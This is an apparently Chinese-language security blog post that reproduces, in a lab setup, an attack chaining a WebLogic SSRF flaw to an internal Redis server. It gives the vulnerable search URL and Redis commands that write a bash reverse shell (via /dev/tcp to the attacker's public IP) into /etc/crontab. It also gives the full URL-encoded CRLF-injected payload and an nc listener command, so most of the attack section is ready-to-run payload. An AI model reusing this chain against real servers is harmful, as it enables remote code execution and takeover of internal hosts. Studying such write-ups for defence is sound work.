[技术]利用WebLogic SSRF漏洞攻击内网Redis反弹shell

作者: hackliu 分类: 技术文章 发布时间: 2019-04-09 19:11

0x01 复现环境

公网上存在WebLogic服务,存在SSRF漏洞
内网中部署了一台Redis服务器,IP地址为172.21.0.2,端口6379
反弹shell需要自己的公网IP
总计两个公网IP,一个内网IP

0x02 WebLogic SSRF漏洞

WebLogic的SSRF漏洞算是一个比较知名的SSRF漏洞,具体原理可以自行谷歌。本篇主要是通过复现该漏洞来加深对SSRF漏洞的理解。

首先访问WebLogic的漏洞页面
地址为

 
Registries.jsp?operator= 
arch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+locat
ion&btnSubmit=Search

1.png那么SSRF利用中,大部分第一步肯定是进行内网的端口探测了,当然肯定有IP和端口的探测了,这里内网IP已经给出了,就直接扫端口了,简单的写了一个扫描脚本而已

1.png1.png

扫端口得到内网Redis端口为6379,当然这是做实验所以服务是知道的,在实际过程中肯定需要进一步判断的,不过一般都是默认端口吧。。。

这次访问一下6379端口,看看页面如何

1.png看到了下面的一个报错,其实从这个报错就可以判断这个内网Redis服务是存在的,为什么呢?
看一下2016乌云大会上猪猪侠师傅介绍的《WebLogic SSRF 服务探测》

1.png我们得到的页面的报错语句刚好符合请求开放的服务的回显,OK,第一步完成

0x02 攻击内网Redis反弹shell

在Weblogic的SSRF中,有一个比较大的特点,就是虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序,不懂的小伙伴可以自行谷歌

命令如下:

set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.
xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n
\n\n\n" config set dir /etc/config set dbfilename crontab save

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件,这里我就叫做test了,最终的URL如下:

?operator= 
%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev
%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0
Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20
crontab%0D%0Asave%0D%0A%0D%0Aaaa

在自己的公网IP上监听8888端口

nc -l 8888

然后发送请求即可反弹shell了

1.png如果burp的右边出现了你输入的命令的回响,那么证明你发送的命令已经被服务器接受了

1.png

反弹shell成功!

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

一条评论
  • ad

    2020年8月20日 23:24

    如何查看redis的ip地址呢?

ad进行回复 取消回复

邮箱地址不会被公开。 必填项已用*标注